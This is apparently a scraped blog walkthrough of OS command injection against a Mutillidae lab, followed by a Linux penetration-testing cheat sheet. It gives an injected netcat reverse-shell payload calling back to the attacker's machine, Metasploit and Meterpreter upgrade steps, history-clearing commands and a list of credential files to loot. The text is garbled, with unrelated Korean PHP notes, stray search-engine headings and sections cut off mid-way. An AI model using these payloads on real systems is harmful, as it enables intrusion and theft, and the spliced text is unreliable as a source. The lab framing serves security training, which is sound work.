Bash Command Injection Cheat Sheet



Hello Internet! I was first introduced to the command injection vulnerability when I took Peter Kim's Ethical Hacking 101 class last year in November. Prior to this I wasn't too familiar with web application vulnerabilities so I thought I would write about it to enhance my understanding.

The Setup


I wanted to setup the infrastructure to replicate a real world scenario as much as possible. Instead of putting all devices on the same network segment, I used PfSense to create two networks; 10.0.0.0/24 and 192.168.1.0/24. The attacker will use the WAN IP of 10.0.0.109 to access the Mutillidae web application which is on the internal LAN IP of 192.168.1.101. This configuration mimics most web servers since they use port forwarding in order for users to access their services over the Internet.

Extract 추가예정 parsestr 추가예정 parseurl 추가예정 pregreplace 추가예정 sprintf / vprintf 추가예정 temp files. 업로드되는 임시 첨부 파일, 세션 파일, wrapper 를 통한 필터 처리 중에 있는 임시 파일의 경우 본 저장경로와 /tmp 폴더에 쓰기 권한이 없으면, 현재 디렉터리에 임시 파일을 작성합니다. Now, Command Injection could be abbreviated with different names. Some of these names are: Shell Injection – when system shell level commands are executed. Command Injection – a generalized term for both Shell Injection and OS Command Injection. OS Command Injection – When particular OS commands are executed, based on.nix/Win32. Types of Injection and their CHEAT SHEET Xpath Injection: XPath injection is an attack targeting Web sites that create XPath queries from user-supplied data. If an application embeds unprotected data into an XPath query, the query can be altered so that it is no longer parsed in the manner originally intended.

Discovery

We will use Nmap to perform some reconnaissance on our target to see what services are running and what ports are open.

Open up a terminal and enter the following: nmap -sV -O -v 10.0.0.109

Command Injection Cheat Sheet

The -sV switch will see what services/ports are running, the -O switch will detect what OS is running and the -v switch enables verbosity which provides more output information. From our results we can see that port 80(http) is open, using Apache as the web server, and Linux as the OS.
Let's see what it looks like through a web browser.
Since we already know we'll be using Mutillidae we can go ahead and navigate to the DNS Lookup web application.

Testing

The way this web application works is by passing on the command from the web application to the OS of the server it being hosted on. Without proper sanitization or input validation, arbitrary OS commands can be executed by anyone over the Internet. Vulnerabilities like this increase the attack surface and serves as another entry point into someone's network. Let's see what happens when we type an IP address in the web application.


We can see that the IP 8.8.8.8 is resolved to one of Google's DNS servers.

There are a few ways to test for OS command injection. We can use metacharacters which are special characters that hold a specific meaning within the context of a computer program. Let's try using & which separates multiple commands on one command line.


After inputting 8.8.8.8 & netstat the IP address is resolved again as well the netstat command which returned a list of active network connections on the web server. Let's keep digging to see what else we can find.


Awesome, after resolving the IP address it displays the current file directory as well!

Reverse Shell

Since we know the web server reaches out to the Internet in order resolve IP addresses to domain names we can infer that there are no egress firewall rules blocking any traffic leaving the internal. Let's try to get a reverse shell connecting back to our Kali box. A reverse shell is when you use the victim's machine to establish a connection to the attacking machine, commonly used to bypass firewalls. To accomplish this task we can utilize the 'swiss army knife of hacking tools,' netcat. Netcat can communicate over network connections using TCP or UDP protocols, be used as a network scanner, a proxy, and as a backdoor into a computer.

In order to setup a reverse shell using netcat we will setup a listener on our Kali box using this command: nc -lvp 4444


The nc initiates the netcat command, switches -lvp indicate 'listen' mode, 'verbose' mode and which 'port' to listen on.

Now, on the vulnerable web server application we will input the following command: & nc 10.0.0.107 4444 -e /bin/bash


The & is the command separator, nc is the netcat command, 10.0.0.107 is the IP of the Kali box, 4444 is the port the Kali box is listening on for the reverse shell, and -e /bin/bash indicates to execute a bash shell.


Back at our Kali box we can see that we have an active connection from our netcat listener. We execute the ls command and it displays the same working directory that we saw earlier on vulnerable web application. We now have an active shell connection from the web server to our Kali box!

Bonus: Upgrade to Meterpreter Shell

Now that we have confirmed we can obtain a shell on our target; we can upgrade our current shell to a more feature rich Meterpreter shell using Meatsploit. Metasploit is an exploitation framework that has a variety of tools built into it. This is where you can start thinking about lateral movement and maintaining persistence within the network. Think of it as a set of Lego blocks where you can build your own exploits depending on the environment you are in.

Fire up metasploit with the msfconsole command.

Let's use the use exploit/multi/handler exploit.

We will set the listening IP to our Kali box: set LHOST 10.0.0.107 and the listening port to 4444: set LPORT 4444

We'll use the set payload linux/x86/shell/reverse_tcp payload

Bash Command Cheat Sheet Pdf

Now enter run to execute our listener. This is the same thing we did before with netcat except we are using the Metasploit framework.

We execute the same netcat command on the web application we did earlier & nc 10.0.0.107 4444 -e /bin/bash

We now have an active reverse shell connection again

Enter Ctl + z to put the current shell connection in the background and to get back to the msfconsole command line

Blind SQL Injection

Let's upgrade the current shell to a Meterpreter shell using sessions -u 1

To use our new Meterpreter shell enter sessions -i 2

Recap

HackTricks

I know this probably sounds a bit foreign to anyone who is not too familiar with hacking concepts, myself included. Let's break down what we accomplished.

  • Performed information gathering on the target system using Nmap
  • Discovered that it has a web server running on port 80
  • Accessed the web application via web browser
  • Did some basic testing for OS command injection on the web application
  • Determined web application is vulnerable to running arbitrary commands on system
  • Was able to establish a reverse shell connection from web server to my Kali box
  • Was able to upgrade reverse shell to Meterpreter shell
  • Can now think about maintaining persistence, lateral movement and further exploitation on other systems within the network

Resources

The Following Penetration Testing Cheat Sheet Linux System is for usage during local enumeration,post exploitation or when performing command injection etc.

COMMANDDESCRIPTION
netstat -tulpnShow Linux network ports with process ID’s (PIDs)
watch ss -stpluWatch TCP, UDP open ports in real time with socket summary.
lsof -iShow established connections.
macchanger -m MACADDR INTRChange MAC address on KALI Linux.
ifconfig eth0 192.168.2.1/24Set IP address in Linux.
ifconfig eth0:1 192.168.2.3/24Add IP address to existing network interface in Linux.
ifconfig eth0 hw ether MACADDRChange MAC address in Linux using ifconfig.
ifconfig eth0 mtu 1500Change MTU size Linux using ifconfig, change 1500 to your desired MTU.
dig -x 192.168.1.1 Dig reverse lookup on an IP address.
host 192.168.1.1 Reverse lookup on an IP address, in case dig is not installed.
dig @192.168.2.2 domain.com -t AXFRPerform a DNS zone transfer using dig.
host -l domain.com nameserverPerform a DNS zone transfer using host.
nbtstat -A x.x.x.xGet hostname for IP address.
ip addr add 192.168.2.22/24 dev eth0Adds a hidden IP address to Linux, does not show up when performing an ifconfig.
tcpkill -9 host google.comBlocks access to google.com from the host machine.
echo '1' > /proc/sys/net/ipv4/ip_forwardEnables IP forwarding, turns Linux box into a router – handy for routing traffic through a box.
echo '8.8.8.8' > /etc/resolv.confUse Google DNS.

System Information Commands

Useful for local enumeration.

COMMANDDESCRIPTION
whoamiShows currently logged in user on Linux.
idShows currently logged in user and groups for the user.
lastShows last logged in users.
mountShow mounted drives.
df -hShows disk usage in human readable output.
echo 'user:passwd' | chpasswdReset password in one line.
getent passwdList users on Linux.
strings /usr/local/bin/blahShows contents of none text files, e.g. whats in a binary.
uname -arShows running kernel version.
PATH=$PATH:/my/new-pathAdd a new PATH, handy for local FS manipulation.
historyShow bash history, commands the user has entered previously.

Redhat / CentOS / RPM Based Distros

COMMANDDESCRIPTION
cat /etc/redhat-releaseShows Redhat / CentOS version number.
rpm -qaList all installed RPM’s on an RPM based Linux distro.
rpm -q --changelog openvpnCheck installed RPM is patched against CVE, grep the output for CVE.

YUM Commands

Package manager used by RPM-based systems, you can pull some useful information about installed packages and or install additional tools.

COMMANDDESCRIPTION
yum updateUpdate all RPM packages with YUM, also shows whats out of date.
yum update httpdUpdate individual packages, in this example HTTPD (Apache).
yum install packageInstall a package using YUM.
yum --exclude=package kernel* updateExclude a package from being updates with YUM.
yum remove packageRemove package with YUM.
yum erase packageRemove package with YUM.
yum list packageLists info about yum package.
yum provides httpdWhat a packages does, e.g Apache HTTPD Server.
yum info httpdShows package info, architecture, version etc.
yum localinstall blah.rpmUse YUM to install local RPM, settles deps from repo.
yum deplist packageShows deps for a package.
yum list installed | moreList all installed packages.
yum grouplist | moreShow all YUM groups.
yum groupinstall 'Development Tools'Install YUM group.

Debian / Ubuntu / .deb Based Distros

COMMANDDESCRIPTION
cat /etc/debian_versionShows Debian version number.
cat /etc/*-releaseShows Ubuntu version number.
dpkg -lList all installed packages on Debian / .deb based Linux distro.

Linux User Management

COMMANDDESCRIPTION
useradd new-userCreates a new Linux user.
passwd usernameReset Linux user password, enter just passwd if you are root.
deluser usernameRemove a Linux user.
Bash Command Injection Cheat Sheet

Linux Decompression Commands

How to extract various archives (tar, zip, gzip, bzip2 etc) on Linux and some other tricks for searching inside of archives etc.

COMMANDDESCRIPTION
unzip archive.zipExtracts zip file on Linux.
zipgrep *.txt archive.zipSearch inside a .zip archive.
tar xf archive.tarExtract tar file Linux.
tar xvzf archive.tar.gzExtract a tar.gz file Linux.
tar xjf archive.tar.bz2Extract a tar.bz2 file Linux.
tar ztvf file.tar.gz | grep blahSearch inside a tar.gz file.
gzip -d archive.gzExtract a gzip file Linux.
zcat archive.gzRead a gz file Linux without decompressing.
zless archive.gzSame function as the less command for .gz archives.
zgrep 'blah' /var/log/maillog*.gzSearch inside .gz archives on Linux, search inside of compressed log files.
vim file.txt.gzUse vim to read .txt.gz files (my personal favorite).
upx -9 -o output.exe input.exeUPX compress .exe file Linux.

Linux Compression Commands

COMMANDDESCRIPTION
zip -r file.zip /dir/*Creates a .zip file on Linux.
tar cf archive.tar filesCreates a tar file on Linux.
tar czf archive.tar.gz filesCreates a tar.gz file on Linux.
tar cjf archive.tar.bz2 filesCreates a tar.bz2 file on Linux.
gzip fileCreates a file.gz file on Linux.

Linux File Commands

COMMANDDESCRIPTION
df -h blahDisplay size of file / dir Linux.
diff file1 file2Compare / Show differences between two files on Linux.
md5sum fileGenerate MD5SUM Linux.
md5sum -c blah.iso.md5Check file against MD5SUM on Linux, assuming both file and .md5 are in the same dir.
file blahFind out the type of file on Linux, also displays if file is 32 or 64 bit.
dos2unixConvert Windows line endings to Unix / Linux.
base64 < input-file > output-fileBase64 encodes input file and outputs a Base64 encoded file called output-file.
base64 -d < input-file > output-fileBase64 decodes input file and outputs a Base64 decoded file called output-file.
touch -r ref-file new-fileCreates a new file using the timestamp data from the reference file, drop the -r to simply create a file.
rm -rfRemove files and directories without prompting for confirmation.

Samba Commands

Connect to a Samba share from Linux.

Cached

Breaking Out of Limited Shells

Bash Command Injection Cheat Sheet Download

Credit to G0tmi1k for these (or wherever he stole them from!).

The Python trick:

Misc Commands

COMMANDDESCRIPTION
init 6Reboot Linux from the command line.
gcc -o output.c input.cCompile C code.
gcc -m32 -o output.c input.cCross compile C code, compile 32 bit binary on 64 bit Linux.
unset HISTORYFILEDisable bash history logging.
rdesktop X.X.X.XConnect to RDP server from Linux.
kill -9 $$Kill current session.
chown user:group blahChange owner of file or dir.
chown -R user:group blahChange owner of file or dir and all underlying files / dirs – recersive chown.
chmod 600 fileChange file / dir permissions, see [Linux File System Permissons](#linux-file-system-permissions) for details.

Clear bash history:

Linux File System Permissions

VALUEMEANING
777rwxrwxrwx No restriction, global WRX any user can do anything.
755rwxr-xr-x Owner has full access, others can read and execute the file.
700rwx------ Owner has full access, no one else has access.
666rw-rw-rw- All users can read and write but not execute.
644rw-r--r-- Owner can read and write, everyone else can read.
600rw------- Owner can read and write, everyone else has no access.

Cheat Sheet Bash Command

Penetration Testing Cheat Sheet for Linux File System

DIRECTORYDESCRIPTION
// also know as “slash” or the root.
/binCommon programs, shared by the system, the system administrator and the users.
/bootBoot files, boot loader (grub), kernels, vmlinuz
/devContains references to system devices, files with special properties.
/etcImportant system config files.
/homeHome directories for system users.
/libLibrary files, includes files for all kinds of programs needed by the system and the users.
/lost+foundFiles that were saved during failures are here.
/mntStandard mount point for external file systems.
/mediaMount point for external file systems (on some distros).
/netStandard mount point for entire remote file systems – nfs.
/optTypically contains extra and third party software.
/procA virtual file system containing information about system resources.
/rootroot users home dir.
/sbinPrograms for use by the system and the system administrator.
/tmpTemporary space for use by the system, cleaned upon reboot.
/usrPrograms, libraries, documentation etc. for all user-related programs.
/varStorage for all variable files and temporary files created by users, such as log files, mail queue, print spooler. Web servers, Databases etc.

CWE-78: OS CommandInjection

Linux Interesting Files / Dir’s

Places that are worth a look if you are attempting to privilege escalate / perform post exploitation.

DIRECTORYDESCRIPTION
/etc/passwdContains local Linux users.
/etc/shadowContains local account password hashes.
/etc/groupContains local account groups.
/etc/init.d/Contains service init script – worth a look to see whats installed.
/etc/hostnameSystem hostname.
/etc/network/interfacesNetwork interfaces.
/etc/resolv.confSystem DNS servers.
/etc/profileSystem environment variables.
~/.ssh/SSH keys.
~/.bash_historyUsers bash history log.
/var/log/Linux system log files are typically stored here.
/var/adm/UNIX system log files are typically stored here.
/var/log/apache2/access.log/var/log/httpd/access.logApache access log file typical path.
/etc/fstabFile system mounts.